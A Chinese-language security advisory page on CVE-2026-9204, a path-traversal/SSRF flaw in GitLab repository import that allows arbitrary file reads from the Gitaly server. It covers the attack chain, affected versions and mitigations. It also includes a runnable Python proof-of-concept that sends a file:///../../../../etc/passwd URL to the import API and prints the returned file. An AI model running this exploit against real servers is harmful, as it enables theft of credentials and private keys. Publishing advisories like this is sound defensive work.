IPBUF安全漏洞报告
English
CVE-2026-9204 CVSS 5.3 中危

CVE-2026-9204 GitLab 仓库导入时任意文件读取漏洞

披露日期: 2026-06-11

漏洞信息

漏洞编号
CVE-2026-9204
漏洞类型
路径遍历 / 服务器端请求伪造 (SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE, Gitaly

相关标签

路径遍历SSRF文件读取GitLabGitalyCVE-2026-9204仓库导入权限绕过

漏洞概述

CVE-2026-9204是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个中危安全漏洞。该漏洞存在于GitLab的仓库导入功能中,由于对次级URL的验证不足,在特定条件下,认证用户可能从Gitaly服务器读取任意文件,并访问内部网络资源。攻击者利用此漏洞可以绕过访问控制限制,获取服务器上的敏感文件内容,如配置文件、凭据、其他项目的源代码等。此漏洞影响所有18.10至18.10.7版本、18.11至18.11.4版本以及19.0至19.0.1版本。GitLab官方已于2026年6月10日发布安全补丁,修复版本分别为18.10.8、18.11.5和19.0.2。建议所有使用受影响版本的用户尽快升级到最新修复版本以消除安全风险。

技术细节

该漏洞的根本原因在于GitLab在处理仓库导入请求时,对用户提供的次级URL(包括仓库源地址)缺乏充分的验证机制。攻击者可以通过构造特殊的URL,利用Gitaly服务器的内部网络访问权限,绕过正常的安全边界。具体而言,攻击者可以在仓库导入过程中指定包含路径遍历序列(如../)的URL,或者指向内部网络资源的地址,Gitaly服务器会跟随这些请求并返回目标文件内容。CVSS 3.1评分5.3(中等),攻击向量为网络层面,需要低权限认证,无需用户交互,主要影响机密性。攻击者利用此漏洞可读取/etc/passwd、SSH私钥、数据库连接配置等敏感文件,对系统安全性造成严重威胁。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab低权限用户账号并登录系统
STEP 2
步骤2
攻击者构造恶意仓库导入请求,使用包含路径遍历序列的URL(如file:///../../../../etc/passwd)
STEP 3
步骤3
GitLab接收到导入请求后,将恶意URL传递给Gitaly服务器处理
STEP 4
步骤4
Gitaly服务器对URL验证不足,跟随请求访问本地文件系统
STEP 5
步骤5
Gitaly服务器读取目标文件内容并通过导入响应返回给攻击者
STEP 6
步骤6
攻击者获取敏感文件内容,可能包括SSH私钥、配置文件、数据库凭据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-9204 PoC - GitLab Arbitrary File Read via Repository Import # Target: GitLab CE/EE < 18.10.8, < 18.11.5, < 19.0.2 def exploit_gitlab_ssrf(target_url, auth_token): """ Exploit for CVE-2026-9204: GitLab arbitrary file read via insufficient URL validation during repository import process. """ headers = { 'PRIVATE-TOKEN': auth_token, 'Content-Type': 'application/json' } # Malicious URL to read arbitrary file from Gitaly server # Using path traversal to access /etc/passwd malicious_url = 'file:///../../../../etc/passwd' payload = { 'url': malicious_url, 'import_type': 'git', 'new_name': 'malicious_repo' } endpoint = f'{target_url}/api/v4/projects/import' try: response = requests.post(endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Success! File content retrieved:') print(data.get('file_content', 'N/A')) return True else: print(f'[-] Failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-9204.py <target_url> <auth_token>') print('Example: python cve-2026-9204.py https://gitlab.example.com glpat-xxxxx') sys.exit(1) exploit_gitlab_ssrf(sys.argv[1], sys.argv[2])

影响范围

GitLab CE/EE 18.10 < 18.10.8
GitLab CE/EE 18.11 < 18.11.5
GitLab CE/EE 19.0 < 19.0.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用或限制仓库导入功能,仅允许受信任的来源;2) 在网络层面限制Gitaly服务器访问内部资源;3) 加强对低权限用户的监控和审计;4) 实施IP白名单策略限制GitLab访问来源。建议尽快安排计划进行版本升级以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表